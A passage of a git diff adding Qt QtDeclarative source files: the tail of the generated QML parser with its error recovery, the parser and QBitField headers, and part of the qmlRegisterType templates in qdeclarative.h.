+ AST::BreakStatement *node = makeAstNode<AST::BreakStatement> (driver->nodePool(), sym(2).sval);
+ node->breakToken = loc(1);
+ node->identifierToken = loc(2);
+ node->semicolonToken = loc(3);
+ sym(1).Node = node;
+} break;
+
+case 305: {
+ AST::ReturnStatement *node = makeAstNode<AST::ReturnStatement> (driver->nodePool(), sym(2).Expression);
+ node->returnToken = loc(1);
+ node->semicolonToken = loc(3);
+ sym(1).Node = node;
+} break;
+
+case 306: {
+ AST::WithStatement *node = makeAstNode<AST::WithStatement> (driver->nodePool(), sym(3).Expression, sym(5).Statement);
+ node->withToken = loc(1);
+ node->lparenToken = loc(2);
+ node->rparenToken = loc(4);
+ sym(1).Node = node;
+} break;
+
+case 307: {
+ AST::SwitchStatement *node = makeAstNode<AST::SwitchStatement> (driver->nodePool(), sym(3).Expression, sym(5).CaseBlock);
+ node->switchToken = loc(1);
+ node->lparenToken = loc(2);
+ node->rparenToken = loc(4);
+ sym(1).Node = node;
+} break;
+
+case 308: {
+ AST::CaseBlock *node = makeAstNode<AST::CaseBlock> (driver->nodePool(), sym(2).CaseClauses);
+ node->lbraceToken = loc(1);
+ node->rbraceToken = loc(3);
+ sym(1).Node = node;
+} break;
+
+case 309: {
+ AST::CaseBlock *node = makeAstNode<AST::CaseBlock> (driver->nodePool(), sym(2).CaseClauses, sym(3).DefaultClause, sym(4).CaseClauses);
+ node->lbraceToken = loc(1);
+ node->rbraceToken = loc(5);
+ sym(1).Node = node;
+} break;
+
+case 310: {
+ sym(1).Node = makeAstNode<AST::CaseClauses> (driver->nodePool(), sym(1).CaseClause);
+} break;
+
+case 311: {
+ sym(1).Node = makeAstNode<AST::CaseClauses> (driver->nodePool(), sym(1).CaseClauses, sym(2).CaseClause);
+} break;
+
+case 312: {
+ sym(1).Node = 0;
+} break;
+
+case 313: {
+ sym(1).Node = sym(1).CaseClauses->finish ();
+} break;
+
+case 314: {
+ AST::CaseClause *node = makeAstNode<AST::CaseClause> (driver->nodePool(), sym(2).Expression, sym(4).StatementList);
+ node->caseToken = loc(1);
+ node->colonToken = loc(3);
+ sym(1).Node = node;
+} break;
+
+case 315: {
+ AST::DefaultClause *node = makeAstNode<AST::DefaultClause> (driver->nodePool(), sym(3).StatementList);
+ node->defaultToken = loc(1);
+ node->colonToken = loc(2);
+ sym(1).Node = node;
+} break;
+case 316:
+case 317: {
+ AST::LabelledStatement *node = makeAstNode<AST::LabelledStatement> (driver->nodePool(), driver->intern(lexer->characterBuffer(), lexer->characterCount()), sym(3).Statement);
+ node->identifierToken = loc(1);
+ node->colonToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 318: {
+ AST::LabelledStatement *node = makeAstNode<AST::LabelledStatement> (driver->nodePool(), sym(1).sval, sym(3).Statement);
+ node->identifierToken = loc(1);
+ node->colonToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 320: {
+ AST::ThrowStatement *node = makeAstNode<AST::ThrowStatement> (driver->nodePool(), sym(2).Expression);
+ node->throwToken = loc(1);
+ node->semicolonToken = loc(3);
+ sym(1).Node = node;
+} break;
+
+case 321: {
+ AST::TryStatement *node = makeAstNode<AST::TryStatement> (driver->nodePool(), sym(2).Statement, sym(3).Catch);
+ node->tryToken = loc(1);
+ sym(1).Node = node;
+} break;
+
+case 322: {
+ AST::TryStatement *node = makeAstNode<AST::TryStatement> (driver->nodePool(), sym(2).Statement, sym(3).Finally);
+ node->tryToken = loc(1);
+ sym(1).Node = node;
+} break;
+
+case 323: {
+ AST::TryStatement *node = makeAstNode<AST::TryStatement> (driver->nodePool(), sym(2).Statement, sym(3).Catch, sym(4).Finally);
+ node->tryToken = loc(1);
+ sym(1).Node = node;
+} break;
+
+case 324: {
+ AST::Catch *node = makeAstNode<AST::Catch> (driver->nodePool(), sym(3).sval, sym(5).Block);
+ node->catchToken = loc(1);
+ node->lparenToken = loc(2);
+ node->identifierToken = loc(3);
+ node->rparenToken = loc(4);
+ sym(1).Node = node;
+} break;
+
+case 325: {
+ AST::Finally *node = makeAstNode<AST::Finally> (driver->nodePool(), sym(2).Block);
+ node->finallyToken = loc(1);
+ sym(1).Node = node;
+} break;
+
+case 327: {
+ AST::DebuggerStatement *node = makeAstNode<AST::DebuggerStatement> (driver->nodePool());
+ node->debuggerToken = loc(1);
+ node->semicolonToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 328: {
+ AST::FunctionDeclaration *node = makeAstNode<AST::FunctionDeclaration> (driver->nodePool(), sym(2).sval, sym(4).FormalParameterList, sym(7).FunctionBody);
+ node->functionToken = loc(1);
+ node->identifierToken = loc(2);
+ node->lparenToken = loc(3);
+ node->rparenToken = loc(5);
+ node->lbraceToken = loc(6);
+ node->rbraceToken = loc(8);
+ sym(1).Node = node;
+} break;
+
+case 329: {
+ AST::FunctionExpression *node = makeAstNode<AST::FunctionExpression> (driver->nodePool(), sym(2).sval, sym(4).FormalParameterList, sym(7).FunctionBody);
+ node->functionToken = loc(1);
+ if (sym(2).sval)
+ node->identifierToken = loc(2);
+ node->lparenToken = loc(3);
+ node->rparenToken = loc(5);
+ node->lbraceToken = loc(6);
+ node->rbraceToken = loc(8);
+ sym(1).Node = node;
+} break;
+
+case 330: {
+ AST::FormalParameterList *node = makeAstNode<AST::FormalParameterList> (driver->nodePool(), sym(1).sval);
+ node->identifierToken = loc(1);
+ sym(1).Node = node;
+} break;
+
+case 331: {
+ AST::FormalParameterList *node = makeAstNode<AST::FormalParameterList> (driver->nodePool(), sym(1).FormalParameterList, sym(3).sval);
+ node->commaToken = loc(2);
+ node->identifierToken = loc(3);
+ sym(1).Node = node;
+} break;
+
+case 332: {
+ sym(1).Node = 0;
+} break;
+
+case 333: {
+ sym(1).Node = sym(1).FormalParameterList->finish ();
+} break;
+
+case 334: {
+ sym(1).Node = 0;
+} break;
+
+case 336: {
+ sym(1).Node = makeAstNode<AST::FunctionBody> (driver->nodePool(), sym(1).SourceElements->finish ());
+} break;
+
+case 337: {
+ sym(1).Node = makeAstNode<AST::Program> (driver->nodePool(), sym(1).SourceElements->finish ());
+} break;
+
+case 338: {
+ sym(1).Node = makeAstNode<AST::SourceElements> (driver->nodePool(), sym(1).SourceElement);
+} break;
+
+case 339: {
+ sym(1).Node = makeAstNode<AST::SourceElements> (driver->nodePool(), sym(1).SourceElements, sym(2).SourceElement);
+} break;
+
+case 340: {
+ sym(1).Node = makeAstNode<AST::StatementSourceElement> (driver->nodePool(), sym(1).Statement);
+} break;
+
+case 341: {
+ sym(1).Node = makeAstNode<AST::FunctionSourceElement> (driver->nodePool(), sym(1).FunctionDeclaration);
+} break;
+
+case 342: {
+ sym(1).sval = 0;
+} break;
+
+case 344: {
+ sym(1).Node = 0;
+} break;
+
+ } // switch
+ action = nt_action(state_stack[tos], lhs[r] - TERMINAL_COUNT);
+ } // if
+ } while (action != 0);
+
+ if (first_token == last_token) {
+ const int errorState = state_stack[tos];
+
+ // automatic insertion of `;'
+ if (yytoken != -1 && t_action(errorState, T_AUTOMATIC_SEMICOLON) && automatic(driver, yytoken)) {
+ SavedToken &tk = token_buffer[0];
+ tk.token = yytoken;
+ tk.dval = yylval;
+ tk.loc = yylloc;
+
+ yylloc = yyprevlloc;
+ yylloc.offset += yylloc.length;
+ yylloc.startColumn += yylloc.length;
+ yylloc.length = 0;
+
+ //const QString msg = qApp->translate("QDeclarativeParser", "Missing `;'");
+ //diagnostic_messages.append(DiagnosticMessage(DiagnosticMessage::Warning, yylloc, msg));
+
+ first_token = &token_buffer[0];
+ last_token = &token_buffer[1];
+
+ yytoken = T_SEMICOLON;
+ yylval = 0;
+
+ action = errorState;
+
+ goto _Lcheck_token;
+ }
+
+ hadErrors = true;
+
+ token_buffer[0].token = yytoken;
+ token_buffer[0].dval = yylval;
+ token_buffer[0].loc = yylloc;
+
+ token_buffer[1].token = yytoken = lexer->lex();
+ token_buffer[1].dval = yylval = lexer->dval();
+ token_buffer[1].loc = yylloc = location(lexer);
+
+ if (t_action(errorState, yytoken)) {
+ QString msg;
+ int token = token_buffer[0].token;
+ if (token < 0 || token >= TERMINAL_COUNT)
+ msg = qApp->translate("QDeclarativeParser", "Syntax error");
+ else
+ msg = qApp->translate("QDeclarativeParser", "Unexpected token `%1'").arg(QLatin1String(spell[token]));
+ diagnostic_messages.append(DiagnosticMessage(DiagnosticMessage::Error, token_buffer[0].loc, msg));
+
+ action = errorState;
+ goto _Lcheck_token;
+ }
+
+ static int tokens[] = {
+ T_PLUS,
+ T_EQ,
+
+ T_COMMA,
+ T_COLON,
+ T_SEMICOLON,
+
+ T_RPAREN, T_RBRACKET, T_RBRACE,
+
+ T_NUMERIC_LITERAL,
+ T_IDENTIFIER,
+
+ T_LPAREN, T_LBRACKET, T_LBRACE,
+
+ EOF_SYMBOL
+ };
+
+ for (int *tk = tokens; *tk != EOF_SYMBOL; ++tk) {
+ int a = t_action(errorState, *tk);
+ if (a > 0 && t_action(a, yytoken)) {
+ const QString msg = qApp->translate("QDeclarativeParser", "Expected token `%1'").arg(QLatin1String(spell[*tk]));
+ diagnostic_messages.append(DiagnosticMessage(DiagnosticMessage::Error, token_buffer[0].loc, msg));
+
+ yytoken = *tk;
+ yylval = 0;
+ yylloc = token_buffer[0].loc;
+ yylloc.length = 0;
+
+ first_token = &token_buffer[0];
+ last_token = &token_buffer[2];
+
+ action = errorState;
+ goto _Lcheck_token;
+ }
+ }
+
+ for (int tk = 1; tk < TERMINAL_COUNT; ++tk) {
+ if (tk == T_AUTOMATIC_SEMICOLON || tk == T_FEED_UI_PROGRAM ||
+ tk == T_FEED_JS_STATEMENT || tk == T_FEED_JS_EXPRESSION ||
+ tk == T_FEED_JS_SOURCE_ELEMENT)
+ continue;
+
+ int a = t_action(errorState, tk);
+ if (a > 0 && t_action(a, yytoken)) {
+ const QString msg = qApp->translate("QDeclarativeParser", "Expected token `%1'").arg(QLatin1String(spell[tk]));
+ diagnostic_messages.append(DiagnosticMessage(DiagnosticMessage::Error, token_buffer[0].loc, msg));
+
+ yytoken = tk;
+ yylval = 0;
+ yylloc = token_buffer[0].loc;
+ yylloc.length = 0;
+
+ action = errorState;
+ goto _Lcheck_token;
+ }
+ }
+
+ const QString msg = qApp->translate("QDeclarativeParser", "Syntax error");
+ diagnostic_messages.append(DiagnosticMessage(DiagnosticMessage::Error, token_buffer[0].loc, msg));
+ }
+
+ return false;
+}
+
+QT_QML_END_NAMESPACE
+
+
diff --git a/src/declarative/qml/parser/qdeclarativejsparser_p.h b/src/declarative/qml/parser/qdeclarativejsparser_p.h
new file mode 100644
index 00000000..c390bcd5
--- /dev/null
+++ b/src/declarative/qml/parser/qdeclarativejsparser_p.h
@@ -0,0 +1,246 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+//
+// This file is automatically generated from qmljs.g.
+// Changes will be lost.
+//
+
+#ifndef QDECLARATIVEJSPARSER_P_H
+#define QDECLARATIVEJSPARSER_P_H
+
+#include "private/qdeclarativejsglobal_p.h"
+#include "private/qdeclarativejsgrammar_p.h"
+#include "private/qdeclarativejsast_p.h"
+#include "private/qdeclarativejsengine_p.h"
+
+#include <QtCore/QList>
+#include <QtCore/QString>
+
+QT_QML_BEGIN_NAMESPACE
+
+namespace QDeclarativeJS {
+
+class Engine;
+class NameId;
+
+class QML_PARSER_EXPORT Parser: protected QDeclarativeJSGrammar
+{
+public:
+ union Value {
+ int ival;
+ double dval;
+ NameId *sval;
+ AST::ArgumentList *ArgumentList;
+ AST::CaseBlock *CaseBlock;
+ AST::CaseClause *CaseClause;
+ AST::CaseClauses *CaseClauses;
+ AST::Catch *Catch;
+ AST::DefaultClause *DefaultClause;
+ AST::ElementList *ElementList;
+ AST::Elision *Elision;
+ AST::ExpressionNode *Expression;
+ AST::Finally *Finally;
+ AST::FormalParameterList *FormalParameterList;
+ AST::FunctionBody *FunctionBody;
+ AST::FunctionDeclaration *FunctionDeclaration;
+ AST::Node *Node;
+ AST::PropertyName *PropertyName;
+ AST::PropertyNameAndValueList *PropertyNameAndValueList;
+ AST::SourceElement *SourceElement;
+ AST::SourceElements *SourceElements;
+ AST::Statement *Statement;
+ AST::StatementList *StatementList;
+ AST::Block *Block;
+ AST::VariableDeclaration *VariableDeclaration;
+ AST::VariableDeclarationList *VariableDeclarationList;
+
+ AST::UiProgram *UiProgram;
+ AST::UiImportList *UiImportList;
+ AST::UiImport *UiImport;
+ AST::UiParameterList *UiParameterList;
+ AST::UiPublicMember *UiPublicMember;
+ AST::UiObjectDefinition *UiObjectDefinition;
+ AST::UiObjectInitializer *UiObjectInitializer;
+ AST::UiObjectBinding *UiObjectBinding;
+ AST::UiScriptBinding *UiScriptBinding;
+ AST::UiArrayBinding *UiArrayBinding;
+ AST::UiObjectMember *UiObjectMember;
+ AST::UiObjectMemberList *UiObjectMemberList;
+ AST::UiArrayMemberList *UiArrayMemberList;
+ AST::UiQualifiedId *UiQualifiedId;
+ AST::UiSignature *UiSignature;
+ AST::UiFormalList *UiFormalList;
+ AST::UiFormal *UiFormal;
+ };
+
+public:
+ Parser(Engine *engine);
+ ~Parser();
+
+ // parse a UI program
+ bool parse() { return parse(T_FEED_UI_PROGRAM); }
+ bool parseStatement() { return parse(T_FEED_JS_STATEMENT); }
+ bool parseExpression() { return parse(T_FEED_JS_EXPRESSION); }
+ bool parseSourceElement() { return parse(T_FEED_JS_SOURCE_ELEMENT); }
+ bool parseUiObjectMember() { return parse(T_FEED_UI_OBJECT_MEMBER); }
+ bool parseProgram() { return parse(T_FEED_JS_PROGRAM); }
+
+ AST::UiProgram *ast() const
+ { return AST::cast<AST::UiProgram *>(program); }
+
+ AST::Statement *statement() const
+ {
+ if (! program)
+ return 0;
+
+ return program->statementCast();
+ }
+
+ AST::ExpressionNode *expression() const
+ {
+ if (! program)
+ return 0;
+
+ return program->expressionCast();
+ }
+
+ AST::UiObjectMember *uiObjectMember() const
+ {
+ if (! program)
+ return 0;
+
+ return program->uiObjectMemberCast();
+ }
+
+ AST::Node *rootNode() const
+ { return program; }
+
+ QList<DiagnosticMessage> diagnosticMessages() const
+ { return diagnostic_messages; }
+
+ inline DiagnosticMessage diagnosticMessage() const
+ {
+ foreach (const DiagnosticMessage &d, diagnostic_messages) {
+ if (! d.kind == DiagnosticMessage::Warning)
+ return d;
+ }
+
+ return DiagnosticMessage();
+ }
+
+ inline QString errorMessage() const
+ { return diagnosticMessage().message; }
+
+ inline int errorLineNumber() const
+ { return diagnosticMessage().loc.startLine; }
+
+ inline int errorColumnNumber() const
+ { return diagnosticMessage().loc.startColumn; }
+
+protected:
+ bool parse(int startToken);
+
+ void reallocateStack();
+
+ inline Value &sym(int index)
+ { return sym_stack [tos + index - 1]; }
+
+ inline AST::SourceLocation &loc(int index)
+ { return location_stack [tos + index - 1]; }
+
+ AST::UiQualifiedId *reparseAsQualifiedId(AST::ExpressionNode *expr);
+
+protected:
+ Engine *driver;
+ int tos;
+ int stack_size;
+ Value *sym_stack;
+ int *state_stack;
+ AST::SourceLocation *location_stack;
+
+ AST::Node *program;
+
+ // error recovery
+ enum { TOKEN_BUFFER_SIZE = 3 };
+
+ struct SavedToken {
+ int token;
+ double dval;
+ AST::SourceLocation loc;
+ };
+
+ double yylval;
+ AST::SourceLocation yylloc;
+ AST::SourceLocation yyprevlloc;
+
+ SavedToken token_buffer[TOKEN_BUFFER_SIZE];
+ SavedToken *first_token;
+ SavedToken *last_token;
+
+ QList<DiagnosticMessage> diagnostic_messages;
+};
+
+} // end of namespace QDeclarativeJS
+
+
+
+#define J_SCRIPT_REGEXPLITERAL_RULE1 78
+
+#define J_SCRIPT_REGEXPLITERAL_RULE2 79
+
+QT_QML_END_NAMESPACE
+
+
+
+#endif // QDECLARATIVEJSPARSER_P_H
diff --git a/src/declarative/qml/qbitfield_p.h b/src/declarative/qml/qbitfield_p.h
new file mode 100644
index 00000000..fb5efe0e
--- /dev/null
+++ b/src/declarative/qml/qbitfield_p.h
@@ -0,0 +1,165 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QBITFIELD_P_H
+#define QBITFIELD_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include <QtCore/qglobal.h>
+
+QT_BEGIN_NAMESPACE
+
+class QBitField
+{
+public:
+ inline QBitField();
+ inline QBitField(const quint32 *, int bits);
+ inline QBitField(const QBitField &);
+ inline ~QBitField();
+
+ inline QBitField &operator=(const QBitField &);
+
+ inline quint32 size() const;
+ inline QBitField united(const QBitField &);
+ inline bool testBit(int) const;
+
+private:
+ quint32 bits:31;
+ quint32 *ownData;
+ const quint32 *data;
+};
+
+QBitField::QBitField()
+: bits(0), ownData(0), data(0)
+{
+}
+
+QBitField::QBitField(const quint32 *bitData, int bitCount)
+: bits((quint32)bitCount), ownData(0), data(bitData)
+{
+}
+
+QBitField::QBitField(const QBitField &other)
+: bits(other.bits), ownData(other.ownData), data(other.data)
+{
+ if (ownData)
+ ++(*ownData);
+}
+
+QBitField::~QBitField()
+{
+ if (ownData)
+ if(0 == --(*ownData)) delete [] ownData;
+}
+
+QBitField &QBitField::operator=(const QBitField &other)
+{
+ if (other.data == data)
+ return *this;
+
+ if (ownData)
+ if(0 == --(*ownData)) delete [] ownData;
+
+ bits = other.bits;
+ ownData = other.ownData;
+ data = other.data;
+
+ if (ownData)
+ ++(*ownData);
+
+ return *this;
+}
+
+inline quint32 QBitField::size() const
+{
+ return bits;
+}
+
+QBitField QBitField::united(const QBitField &o)
+{
+ if (o.bits == 0) {
+ return *this;
+ } else if (bits == 0) {
+ return o;
+ } else {
+ int max = (bits > o.bits)?bits:o.bits;
+ int length = (max + 31) / 32;
+ QBitField rv;
+ rv.bits = max;
+ rv.ownData = new quint32[length + 1];
+ *(rv.ownData) = 1;
+ rv.data = rv.ownData + 1;
+ if (bits > o.bits) {
+ ::memcpy((quint32 *)rv.data, data, length * sizeof(quint32));
+ for (quint32 ii = 0; ii < (o.bits + quint32(31)) / 32; ++ii)
+ ((quint32 *)rv.data)[ii] |= o.data[ii];
+ } else {
+ ::memcpy((quint32 *)rv.data, o.data, length * sizeof(quint32));
+ for (quint32 ii = 0; ii < (bits + quint32(31)) / 32; ++ii)
+ ((quint32 *)rv.data)[ii] |= data[ii];
+ }
+ return rv;
+ }
+}
+
+bool QBitField::testBit(int b) const
+{
+ Q_ASSERT(b >= 0);
+ if ((quint32)b < bits) {
+ return data[b / 32] & (1 << (b % 32));
+ } else {
+ return false;
+ }
+}
+
+QT_END_NAMESPACE
+
+#endif // QBITFIELD_P_H
diff --git a/src/declarative/qml/qdeclarative.h b/src/declarative/qml/qdeclarative.h
new file mode 100644
index 00000000..f0893b2e
--- /dev/null
+++ b/src/declarative/qml/qdeclarative.h
@@ -0,0 +1,415 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVE_H
+#define QDECLARATIVE_H
+
+#include <QtDeclarative/qdeclarativeprivate.h>
+#include <QtDeclarative/qdeclarativeparserstatus.h>
+#include <QtDeclarative/qdeclarativepropertyvaluesource.h>
+#include <QtDeclarative/qdeclarativepropertyvalueinterceptor.h>
+#include <QtDeclarative/qdeclarativelist.h>
+
+#include <QtCore/qbytearray.h>
+#include <QtCore/qmetaobject.h>
+
+QT_BEGIN_HEADER
+
+#define QML_DECLARE_TYPE(TYPE) \
+ Q_DECLARE_METATYPE(TYPE *) \
+ Q_DECLARE_METATYPE(QDeclarativeListProperty<TYPE>)
+
+#define QML_DECLARE_TYPE_HASMETATYPE(TYPE) \
+ Q_DECLARE_METATYPE(QDeclarativeListProperty<TYPE>)
+
+#define QML_DECLARE_INTERFACE(INTERFACE) \
+ QML_DECLARE_TYPE(INTERFACE)
+
+#define QML_DECLARE_INTERFACE_HASMETATYPE(INTERFACE) \
+ QML_DECLARE_TYPE_HASMETATYPE(INTERFACE)
+
+enum { /* TYPEINFO flags */
+ QML_HAS_ATTACHED_PROPERTIES = 0x01
+};
+
+#define QML_DECLARE_TYPEINFO(TYPE, FLAGS) \
+QT_BEGIN_NAMESPACE \
+template <> \
+class QDeclarativeTypeInfo<TYPE > \
+{ \
+public: \
+ enum { \
+ hasAttachedProperties = (((FLAGS) & QML_HAS_ATTACHED_PROPERTIES) == QML_HAS_ATTACHED_PROPERTIES) \
+ }; \
+}; \
+QT_END_NAMESPACE
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+template<typename T>
+int qmlRegisterType()
+{
+ QByteArray name(T::staticMetaObject.className());
+
+ QByteArray pointerName(name + '*');
+ QByteArray listName("QDeclarativeListProperty<" + name + ">");
+
+ QDeclarativePrivate::RegisterType type = {
+ 0,
+
+ qRegisterMetaType<T *>(pointerName.constData()),
+ qRegisterMetaType<QDeclarativeListProperty<T> >(listName.constData()),
+ 0, 0,
+ QString(),
+
+ 0, 0, 0, 0, &T::staticMetaObject,
+
+ QDeclarativePrivate::attachedPropertiesFunc<T>(),
+ QDeclarativePrivate::attachedPropertiesMetaObject<T>(),
+
+ QDeclarativePrivate::StaticCastSelector<T,QDeclarativeParserStatus>::cast(),
+ QDeclarativePrivate::StaticCastSelector<T,QDeclarativePropertyValueSource>::cast(),
+ QDeclarativePrivate::StaticCastSelector<T,QDeclarativePropertyValueInterceptor>::cast(),
+
+ 0, 0,
+
+ 0,
+ 0
+ };
+
+ return QDeclarativePrivate::qmlregister(QDeclarativePrivate::TypeRegistration, &type);
+}
+
+int Q_AUTOTEST_EXPORT qmlRegisterTypeNotAvailable(const char *uri, int versionMajor, int versionMinor, const char *qmlName, const QString& message);
+
+template<typename T>
+int qmlRegisterUncreatableType(const char *uri, int versionMajor, int versionMinor, const char *qmlName, const QString& reason)
+{
+ QByteArray name(T::staticMetaObject.className());
+
+ QByteArray pointerName(name + '*');
+ QByteArray listName("QDeclarativeListProperty<" + name + ">");
+
+ QDeclarativePrivate::RegisterType type = {
+ 0,
+
+ qRegisterMetaType<T *>(pointerName.constData()),
+ qRegisterMetaType<QDeclarativeListProperty<T> >(listName.constData()),
+ 0, 0,
+ reason,
+
+ uri, versionMajor, versionMinor, qmlName, &T::staticMetaObject,
+
+ QDeclarativePrivate::attachedPropertiesFunc<T>(),
+ QDeclarativePrivate::attachedPropertiesMetaObject<T>(),
+
+ QDeclarativePrivate::StaticCastSelector<T,QDeclarativeParserStatus>::cast(),
+ QDeclarativePrivate::StaticCastSelector<T,QDeclarativePropertyValueSource>::cast(),
+ QDeclarativePrivate::StaticCastSelector<T,QDeclarativePropertyValueInterceptor>::cast(),
+
+ 0, 0,
+
+ 0,
+ 0
+ };
+
+ return QDeclarativePrivate::qmlregister(QDeclarativePrivate::TypeRegistration, &type);
+}
+
+template<typename T>
+int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName)
+{
+ QByteArray name(T::staticMetaObject.className());
+
+ QByteArray pointerName(name + '*');
+ QByteArray listName("QDeclarativeListProperty<" + name + ">");
+
+ QDeclarativePrivate::RegisterType type = {
+ 0,
+
+ qRegisterMetaType<T *>(pointerName.constData()),
+ qRegisterMetaType<QDeclarativeListProperty<T> >(listName.constData()),
+ sizeof(T), QDeclarativePrivate::createInto<T>,
+ QString(),
+
+ uri, versionMajor, versionMinor, qmlName, &T::staticMetaObject,
+
+ QDeclarativePrivate::attachedPropertiesFunc<T>(),
+ QDeclarativePrivate::attachedPropertiesMetaObject<T>(),
+
+ QDeclarativePrivate::StaticCastSelector<T,QDeclarativeParserStatus>::cast(),
+ QDeclarativePrivate::StaticCastSelector<T,QDeclarativePropertyValueSource>::cast(),
+ QDeclarativePrivate::StaticCastSelector<T,QDeclarativePropertyValueInterceptor>::cast(),
+
+ 0, 0,
+
+ 0,
+ 0
+ };
+
+ return QDeclarativePrivate::qmlregister(QDeclarativePrivate::TypeRegistration, &type);
+}
+
+template<typename T, int metaObjectRevision>
+int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName)
+{
+ QByteArray name(T::staticMetaObject.className());
+
+ QByteArray pointerName(name + '*');
+ QByteArray listName("QDeclarativeListProperty<" + name + ">");
+
+ QDeclarativePrivate::RegisterType type = {
+ 1,
+
+ qRegisterMetaType<T *>(pointerName.constData()),
+ qRegisterMetaType<QDeclarativeListProperty<T> >(listName.constData()),
+ sizeof(T), QDeclarativePrivate::createInto<T>,
+ QString(),
+
+ uri, versionMajor, versionMinor, qmlName, &T::staticMetaObject,
+
+ QDeclarativePrivate::attachedPropertiesFunc<T>(),
+ QDeclarativePrivate::attachedPropertiesMetaObject<T>(),
+
+ QDeclarativePrivate::StaticCastSelector<T,QDeclarativeParserStatus>::cast(),
+ QDeclarativePrivate::StaticCastSelector<T,QDeclarativePropertyValueSource>::cast(),
+ QDeclarativePrivate::StaticCastSelector<T,QDeclarativePropertyValueInterceptor>::cast(),
+
+ 0, 0,
+
+ 0,
+ metaObjectRevision
+ };
+
+ return QDeclarativePrivate::qmlregister(QDeclarativePrivate::TypeRegistration, &type);
+}
+
+template<typename T, int metaObjectRevision>
+int qmlRegisterRevision(const char *uri, int versionMajor, int versionMinor)
+{
+ QByteArray name(T::staticMetaObject.className());
+
+ QByteArray pointerName(name + '*');
+ QByteArray listName("QDeclarativeListProperty<" + name + ">");
+
+ QDeclarativePrivate::RegisterType type = {
+ 1,
+
+ qRegisterMetaType<T *>(pointerName.constData()),
+ qRegisterMetaType<QDeclarativeListProperty<T> >(listName.constData()),
+ sizeof(T), QDeclarativePrivate::createInto<T>,
+ QString(),
+
+ uri, versionMajor, versionMinor, 0, &T::staticMetaObject,
+
+ QDeclarativePrivate::attachedPropertiesFunc<T>(),
+ QDeclarativePrivate::attachedPropertiesMetaObject<T>(),
+
